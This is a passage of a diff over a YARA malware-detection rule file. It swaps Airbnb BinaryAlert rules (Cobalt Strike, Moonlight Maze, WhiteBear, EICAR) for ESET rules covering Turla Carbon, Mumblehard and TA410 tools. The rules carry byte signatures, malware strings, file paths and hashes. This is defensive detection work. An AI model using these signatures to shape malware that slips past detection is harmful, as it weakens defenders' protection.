-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
+import "pe"
 
- */
-private rule BINARYALERT_Cobaltstrike_Template_Exe_PRIVATE : FILE
+rule ESET_Carbon_Metadata
 {
 	meta:
-		description = "Template to provide executable detection Cobalt Strike payloads"
-		author = "@javutin, @joseselvi"
-		id = "39c27acf-1264-584d-99e0-77b0e9352078"
-		date = "2017-12-14"
-		modified = "2017-12-14"
-		reference = "https://www.cobaltstrike.com"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_template.yara#L1-L28"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "492b2b0b319509fe26473add6ca50c246a0c30fb8a7f9e2631c8d3e9e146c611"
+		description = "Turla Carbon malware"
+		author = "ESET Research"
+		id = "976b6a7d-00bf-5d0f-baf9-84fc5dbd21a2"
+		date = "2017-03-30"
+		modified = "2017-03-30"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/carbon.yar#L53-L69"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "81b59e9566f3b3356acf12dadb80abdcbee28e0b1a9efead66fcb95bf6fc1aa5"
 		score = 75
 		quality = 80
-		tags = "FILE"
-
-	strings:
-		$compiler = "mingw-w64 runtime failure" nocase
-		$f1 = "VirtualQuery" fullword
-		$f2 = "VirtualProtect" fullword
-		$f3 = "vfprintf" fullword
-		$f4 = "Sleep" fullword
-		$f5 = "GetTickCount" fullword
-		$c1 = { // Compare case insensitive with "msvcrt", char by char
-                0f b6 50 01 80 fa 53 74 05 80 fa 73 75 42 0f b6
-                50 02 80 fa 56 74 05 80 fa 76 75 34 0f b6 50 03
-                80 fa 43 74 05 80 fa 63 75 26 0f b6 50 04 80 fa
-                52 74 05 80 fa 72 75 18 0f b6 50 05 80 fa 54 74
-        }
+		tags = ""
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and $compiler and all of ($f*) and all of ($c*)
+		(pe.version_info["InternalName"] contains "SERVICE.EXE" or pe.version_info["InternalName"] contains "MSIMGHLP.DLL" or pe.version_info["InternalName"] contains "MSXIML.DLL") and pe.version_info["CompanyName"] contains "Microsoft Corporation"
 }
-private rule BINARYALERT_Macho_PRIVATE : FILE
+rule ESET_Mumblehard_Packer
 {
 	meta:
-		description = "Mach-O binaries"
-		author = "Airbnb"
-		id = "04e14811-38be-54eb-8ec0-649d5469078a"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/airbnb/binaryalert/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/MachO.yara#L1-L7"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "2e992eb7d4ea47c9f61f3a7d8b0b6e37d0423fb08a626eaf2ddea51bfd928dfc"
+		description = "Mumblehard i386 assembly code responsible for decrypting Perl code"
+		author = "Marc-Etienne M.Léveillé"
+		id = "981c18e3-ac28-54f5-97ab-44b1d12a1389"
+		date = "2015-04-07"
+		modified = "2015-05-01"
+		reference = "http://www.welivesecurity.com"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/mumblehard/mumblehard_packer.yar#L32-L47"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "a04f50a7054c4ce8ad9be4e7f3373ad4f36eb9443e223601974e852c25603f5f"
 		score = 75
 		quality = 80
-		tags = "FILE"
+		tags = ""
+		version = "1"
+
+	strings:
+		$decrypt = { 31 db  [1-10]  ba ?? 00 00 00  [0-6]  (56 5f |  89 F7)
+                     39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
+                     00 31 db 43 ac 30 d8 aa 43 e2 e2 }
 
 	condition:
-		uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xcafebabe or uint32(0)==0xbebafeca
+		$decrypt
 }
-rule BINARYALERT_Eicar_Av_Test
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Tendyron_Dropper
 {
 	meta:
-		description = "This is a standard AV test, intended to verify that BinaryAlert is working correctly."
-		author = "Austin Byers | Airbnb CSIRT"
-		id = "4dbb9d9d-9a8b-56f0-878a-a4a362a2c4f8"
-		date = "2018-04-17"
-		modified = "2018-04-17"
-		reference = "http://www.eicar.org/86-0-Intended-use.html"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/eicar.yara#L1-L18"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "870db233ca083fae19a88a109e13d086c76df2340b709eb2da565c08574a42bd"
-		score = 50
+		description = "TA410 Tendyron Dropper"
+		author = "ESET Research"
+		id = "8d1e16d9-b5c2-5427-a0b4-7dd00a9df5ec"
+		date = "2020-12-09"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L34-L53"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "45f7300a4b85624ad3fda5c73a24f53f53cb7990def4d84e04dcd8e5747f4f2e"
+		score = 75
 		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$eicar_regex = /^X5O!P%@AP\[4\\PZX54\(P\^\)7CC\)7\}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H\+H\*\s*$/
+		$s1 = "Global\\{F473B3BE-08EE-4710-A727-9E248F804F4A}" wide
+		$s2 = "Global\\8D32CCB321B2" wide
+		$s3 = "Global\\E4FE94F75490" wide
+		$s4 = "Program Files (x86)\\Internet Explorer\\iexplore.exe" wide
+		$s5 = "\\RPC Control\\OLE" wide
+		$s6 = "ALPC Port" wide
 
 	condition:
-		all of them
+		int16 (0)==0x5A4D and 4 of them
 }
-rule BINARYALERT_Eicar_Substring_Test
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Tendyron_Installer
 {
 	meta:
-		description = "Standard AV test, checking for an EICAR substring"
-		author = "Austin Byers | Airbnb CSIRT"
-		id = "43af8d40-16be-5948-839e-b58cb36c4155"
-		date = "2018-04-17"
-		modified = "2018-04-17"
-		reference = "https://github.com/airbnb/binaryalert/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/eicar.yara#L20-L34"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "9dc46b273d12d4431b833d4380235b387de4b3aab1f6211b868ada1d1339383a"
-		score = 50
-		quality = 40
+		description = "TA410 Tendyron Installer"
+		author = "ESET Research"
+		id = "95ccad1c-99fb-5d38-aec0-650db3e06b35"
+		date = "2020-12-09"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L55-L73"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "9c3afb924747614f27c31cf2c3d98f4932a9d11597a3ac94263bf93be02801da"
+		score = 75
+		quality = 80
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$eicar_substring = "$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!"
+		$s1 = "Tendyron" wide
+		$s2 = "OnKeyToken_KEB.dll" wide
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s4 = "Global\\8D32CCB321B2"
+		$s5 = "\\RTFExploit\\"
 
 	condition:
-		all of them
+		int16 (0)==0x5A4D and 3 of them
 }
-rule BINARYALERT_Malware_Windows_Moonlightmaze_De_Tool
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Tendyron_Downloader
 {
 	meta:
-		description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
-		author = "Kaspersky Lab"
-		id = "8b943c21-eac7-521d-8dc6-90d611aa4d92"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_de_tool.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "836331856200fde9792d3bf97d3a18b7f4497ceaae1cfceb0de7c2949e315b9c"
+		description = "TA410 Tendyron Downloader"
+		author = "ESET Research"
+		id = "afd8a2a7-8d58-5a96-b9e0-6f8b859e83c5"
+		date = "2020-12-09"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L75-L107"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "16030a78ae9af8783f5913644294ceff861c8264ead8ca99435032be6d7949ef"
 		score = 75
 		quality = 80
 		tags = ""
-		md5_1 = "4bc7ed168fb78f0dc688ee2be20c9703"
-		md5_2 = "8b56e8552a74133da4bc5939b5f74243"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Vnuk: %d" ascii fullword
-		$a2 = "Syn: %d" ascii fullword
-		$a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A}
+		$chunk_1 = {
+            8A 10
+            80 F2 5C
+            80 C2 5C
+            88 10
+            40
+            83 E9 01
+            75 ??
+        }
+		$s1 = "startModule" fullword
 
 	condition:
-		2 of ($a*)
+		int16 (0)==0x5A4D and all of them
 }
-rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_2
+import "pe"
+
+rule ESET_Apt_Windows_TA410_X4_Strings
 {
 	meta:
-		description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
-		author = "@fusionrace"
-		id = "d97b7fe1-7ff3-5cc0-9085-140ed523421f"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://securelist.com/introducing-whitebear/81638/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_2.yara#L1-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "06bd89448a10aa5c2f4ca46b4709a879"
-		logic_hash = "9bb7fc3b3bf7f91efbba128895bb61b5a1bbdb6625d84836956de5e884ae3fe1"
+		description = "Matches various strings found in TA410 X4"
+		author = "ESET Research"
+		id = "e6af4516-8b79-5182-8571-7dd530632ddc"
+		date = "2020-10-09"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L109-L125"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "d4b2321a6d0eb0ca8d7c47596af2a45c22b3aef15d1832d64d6588a62cab312a"
 		score = 75
-		quality = 80
+		quality = 74
 		tags = ""
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$b1 = "i cunt waiting anymore #%d" wide ascii
-		$b2 = "lights aint turnt off with #%d" wide ascii
-		$b3 = "Not find process" wide ascii
-		$b4 = "CMessageProcessingSystem::Receive_TAKE_NOP" wide ascii
-		$b5 = "CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK" wide ascii
+		$s1 = "[X]InLoadSC" ascii wide nocase
+		$s3 = "MachineKeys\\Log\\rsa.txt" ascii wide nocase
+		$s4 = "MachineKeys\\Log\\output.log" ascii wide nocase
 
 	condition:
-		3 of ($b*)
+		any of them
 }
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Xk_Keylogger
+import "pe"
+
+rule ESET_Apt_Windows_TA410_X4_Hash_Values : FILE
 {
 	meta:
-		description = "Rule to detect Moonlight Maze 'xk' keylogger"
-		author = "Kaspersky Lab"
-		id = "5623021d-0d70-59b3-ae30-522e81552da0"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_xk_keylogger.yara#L1-L22"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "430027b41aeda9a11dadec2e4d3dd2474852ff3a7656ed7128711a1574e66b8f"
+		description = "Matches X4 hash function found in TA410 X4"
+		author = "ESET Research"
+		id = "859bb977-82d0-5314-b1a8-fb3bb06a1b28"
+		date = "2020-10-09"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L127-L149"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "bcf3891ff888ca99af9aa0e239b29241ae819022607fb829c5731267add308ea"
 		score = 75
-		quality = 30
-		tags = ""
+		quality = 80
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "Log ended at => %s"
-		$a2 = "Log started at => %s [pid %d]"
-		$a3 = "/var/tmp/task" fullword
-		$a4 = "/var/tmp/taskhost" fullword
-		$a5 = "my hostname: %s"
-		$a6 = "/var/tmp/tasklog"
-		$a7 = "/var/tmp/.Xtmp01" fullword
-		$a8 = "myfilename=-%s-"
-		$a9 = "/var/tmp/taskpid"
-		$a10 = "mypid=-%d-" fullword
-		$a11 = "/var/tmp/taskgid" fullword
-		$a12 = "mygid=-%d-" fullword
+		$s1 = {D1 10 76 C2 B6 03}
+		$s2 = {71 3E A8 0D}
+		$s3 = {DC 78 94 0E}
+		$s4 = {40 0D E7 D6 06}
+		$s5 = {83 BB FD E8 06}
+		$s6 = {92 9D 9B FF EC 03}
+		$s7 = {DD 0E FC FA F5 03}
+		$s8 = {15 60 1E FB F5 03}
 
 	condition:
-		3 of ($a*)
+		uint16(0)==0x5a4d and 4 of them
 }
-rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_1
+import "pe"
+
+rule ESET_Apt_Windows_TA410_X4_Hash_Fct : FILE
 {
 	meta:
-		description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
-		author = "@fusionrace"
-		id = "6b5709fd-a923-56b6-98ab-ae036f9d04c3"
-		date = "2017-09-12"
-		modified = "2017-09-12"
-		reference = "https://securelist.com/introducing-whitebear/81638/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_1.yara#L1-L22"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		hash = "b099b82acb860d9a9a571515024b35f0"
-		logic_hash = "f6706c66a378b80d3cedf118a812d8add60e12b44402a30d941d08ff30c7ab1c"
+		description = "Matches X4 hash function found in TA410 X4"
+		author = "ESET Research"
+		id = "5ca435a4-7c6e-594d-8c4d-d577735884e6"
+		date = "2020-10-09"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L151-L187"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "3b2d44cb7685a99e9aeb08f886f6876d43ee99d1e52e40705c3fa97ce3bfa9a0"
 		score = 75
 		quality = 80
-		tags = ""
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$a1 = "### PE STORAGE ###" wide ascii
-		$a2 = "### CRYPTO 0 ###" wide ascii
-		$a3 = "### EXTERNAL STORAGE ###" wide ascii
-		$a4 = "### CRYPTO 1 ###" wide ascii
-		$a5 = "### QUEUES ###" wide ascii
-		$a6 = "### TRANSPORT ###" wide ascii
-		$a7 = "### EXECUTION SUBSYSTEM ###" wide ascii
-		$a8 = "### AUTORUN MANAGER ###" wide ascii
-		$a9 = "### INJECT MANAGER ###" wide ascii
-		$a10 = "### LOCAL TRANSPORT MANAGER ###" wide ascii
+		$chunk_1 = {
+            0F B6 01
+            84 C0
+            74 ??
+            48 69 D2 83 00 00 00
+            48 0F BE C0
+            48 03 D0
+            48 FF C1
+            E9 ?? ?? ?? ??
+        }
 
 	condition:
-		6 of ($a*)
+		uint16(0)==0x5a4d and any of them
 }
-rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki2Crypto
+import "pe"
+
+rule ESET_Apt_Windows_TA410_Lookback_Decryption : FILE
 {
 	meta:
-		description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
-		author = "Costin Raiu, Kaspersky Lab"
-		id = "eb5fc283-4994-5db5-965d-e90caad95f4c"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki2crypto.yara#L1-L16"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "abb2093844af1b854a9deed5baab3f4d67bd1189a4520f697aa69b7441d9488c"
+		description = "Matches encryption/decryption function used by LookBack."
+		author = "ESET Research"
+		id = "91947c6b-f357-5cf8-8522-4dcd517d01cb"
+		date = "2021-10-12"
+		modified = "2022-04-27"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/ta410/ta410.yar#L189-L254"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "016dca6be654fcd193acc481e6a998efbb77e7ebd09b26614422be1136dd02c0"
 		score = 75
 		quality = 80
-		tags = ""
-		md5_1 = "19fbd8cbfb12482e8020a887d6427315"
-		md5_2 = "ea06b213d5924de65407e8931b1e4326"
-		md5_3 = "14ecd5e6fc8e501037b54ca263896a11"
-		md5_4 = "e079ec947d3d4dacb21e993b760a65dc"
-		md5_5 = "edf900cebb70c6d1fcab0234062bfc28"
+		tags = "FILE"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}
+		$initialize = {
+            8B C6           //mov eax, esi
+            99              //cdq
+            83 E2 03        //and edx, 3
+            03 C2           //add eax, edx
+            C1 F8 02        //sar eax, 2
+            8A C8           //mov cl, al
+            02 C0           //add al, al
+            02 C8           //add cl, al
+            88 4C 34 10         //mov byte ptr [esp + esi + 0x10], cl
+            46              //inc esi
+            81 FE 00 01 00 00       //cmp esi, 0x100
+            72 ??
+        }
+		$generate = {
+            8A 94 1C 10 01 ?? ??    //mov dl, byte ptr [esp + ebx + 0x110]
+            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
+            0F B6 C3        //movzx eax, bl
+            0F B6 44 04 10      //movzx eax, byte ptr [esp + eax + 0x10]
+            32 C2           //xor al, dl
+            02 F0           //add dh, al
+            0F B6 C6        //movzx eax, dh
+            03 C8           //add ecx, eax
+            0F B6 01        //movzx eax, byte ptr [ecx]
+            88 84 1C 10 01 ?? ??    //mov byte ptr [esp + ebx + 0x110], al
+            43              //inc ebx
+            88 11           //mov byte ptr [ecx], dl
+            81 FB 00 06 00 00       //cmp ebx, 0x600
+            72 ??           //jb 0x10025930
+        }
+		$decrypt = {
+            0F B6 C6        //movzx eax, dh
+            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
+            03 C8           //add ecx, eax
+            8A 19           //mov bl, byte ptr [ecx]
+            8A C3           //mov al, bl
+            02 C6           //add al, dh
+            FE C6           //inc dh
+            02 F8           //add bh, al
+            0F B6 C7        //movzx eax, bh
+            8A 94 04 10 01 ?? ??    //mov dl, byte ptr [esp + eax + 0x110]
+            88 9C 04 10 01 ?? ??    //mov byte ptr [esp + eax + 0x110], bl
+            88 11           //mov byte ptr [ecx], dl
+            0F B6 C2        //movzx eax, dl
+            0F B6 CB        //movzx ecx, bl
+            33 C8           //xor ecx, eax
+            8A 84 0C 10 01 ?? ??    //mov al, byte ptr [esp + ecx + 0x110]
+            30 04 2E        //xor byte ptr [esi + ebp], al
+            46              //inc esi
+            3B F7           //cmp esi, edi
+            7C ??           //jl 0x10025980
+        }
 
 	condition:
-		$modulus
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule BINARYALERT_Malware_Windows_Moonlightmaze_IRIX_Exploit_GEN : FILE
+rule ESET_Apt_Windows_TA410_Lookback_Loader : FILE
 {
 	meta:
-		description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers"
-		author = "Kaspersky Lab"
-		id = "4f9ab7b0-4fb9-5311-ae23-01d0a9e2e104"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://www.exploit-db.com/exploits/19274/"
